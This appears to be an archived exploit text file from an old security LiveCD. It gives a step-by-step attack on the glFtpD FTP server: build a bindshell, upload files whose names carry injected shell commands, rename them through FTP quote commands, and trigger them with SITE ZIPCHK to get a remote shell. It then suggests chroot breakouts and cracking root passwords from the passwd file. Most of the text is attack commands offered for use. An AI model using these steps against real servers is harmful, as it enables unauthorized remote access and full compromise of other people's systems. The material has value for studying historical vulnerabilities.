home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / glftpd / suid-glftpd.txt < prev   
Text File  |  2005-02-12  |  2KB  |  78 lines

  1.  
  2. Exploit Information:
  3.  
  4.     1) & 2) are traditionally bad. Problems are obvious. 
  5.  
  6.     3) This is quite simple a user need only have some place to upload files:
  7.  
  8.         - You will need to build some kind of backdoor to allow you access, using bindshell.c (again)
  9.  
  10.         $ gcc bindshell.c -o b -static
  11.     
  12.         - Create an empty file called " ; bash blah;"
  13.         - Create an empty file called " ; unzip blah;"
  14.  
  15.         $ > " ; bash blah;"        
  16.  
  17.         - Create a script called "blah" : 
  18.  
  19.         $ cat > blah
  20.         #!/bin/bash
  21.         ./b &
  22.         ^D
  23.  
  24.         - "ZIP" these files up. 
  25.         
  26.         $ zip blah.zip blah b
  27.  
  28.         - Login to your FTP server. Now upload your files:
  29.  
  30.         ftp> put blah.zip
  31.         ftp> put " ; bash blah;"
  32.         ftp> put " ; unzip blah.zip;"
  33.  
  34.         - Because glFtpD attempts to convert spaces in filenames to underscores, youll need to rename
  35.           them back.
  36.     
  37.         ftp> quote rnfr "_;_bash_blah;"
  38.         ftp> quote rnto " ; bash blah;"
  39.         ftp> quote rnfr "_;_unzip_blah.zip;"
  40.         ftp> quote rnto " ; unzip blah.zip;"
  41.  
  42.         - Now run a ZIPCHK on the unzip one:
  43.  
  44.         ftp> quote SITE ZIPCHK " ; unzip blah.zip;"
  45.         
  46.         - Hurray, now do a few ls commands till you get a file listing. Now run:
  47.  
  48.         ftp> quote SITE ZIPCHK " ; bash blah;"
  49.  
  50.         - glFtpD will spit out an error message. Ignore it. Now telnet to the port defined within
  51.           bindshell.c.
  52.  
  53.         - Once your on. If you attacked the glftpd account (or any uid = 0 account), you may now use simple chroot()
  54.           breaking techniques (http://www.suid.kg/source/breakchroot.c) to have run of the entire box.
  55.  
  56.         - If you did not have a uid == 0 account. Youll probably be in a chroot environment and you 
  57.           dont really have a way out except to:
  58.  
  59.             - check /etc/passwd (really $GLFTPDHOME/etc/passwd)
  60.             - Crack a uid == 0 passwd, maybe the glftpd account is still in there
  61.             - Use your imagination.
  62.  
  63.  
  64. Working Papers:
  65.  
  66.     See the spectacle at http://www.suid.kg/advisories/003_wp.txt
  67.  
  68. Links:
  69.     www.glftpd.org                -    Glftpd Home page
  70.     www.suid.kg/source/bindshell.c        -    bindshell.c
  71.     www.suid.kg/advisories/003_wp.txt    -    Example attack
  72.  
  73. Greets:
  74.  
  75.         ^moo^, yowie, cr, duke, silvio, n1ck,
  76.         w00w00, and last but not least ADM
  77.  
  78.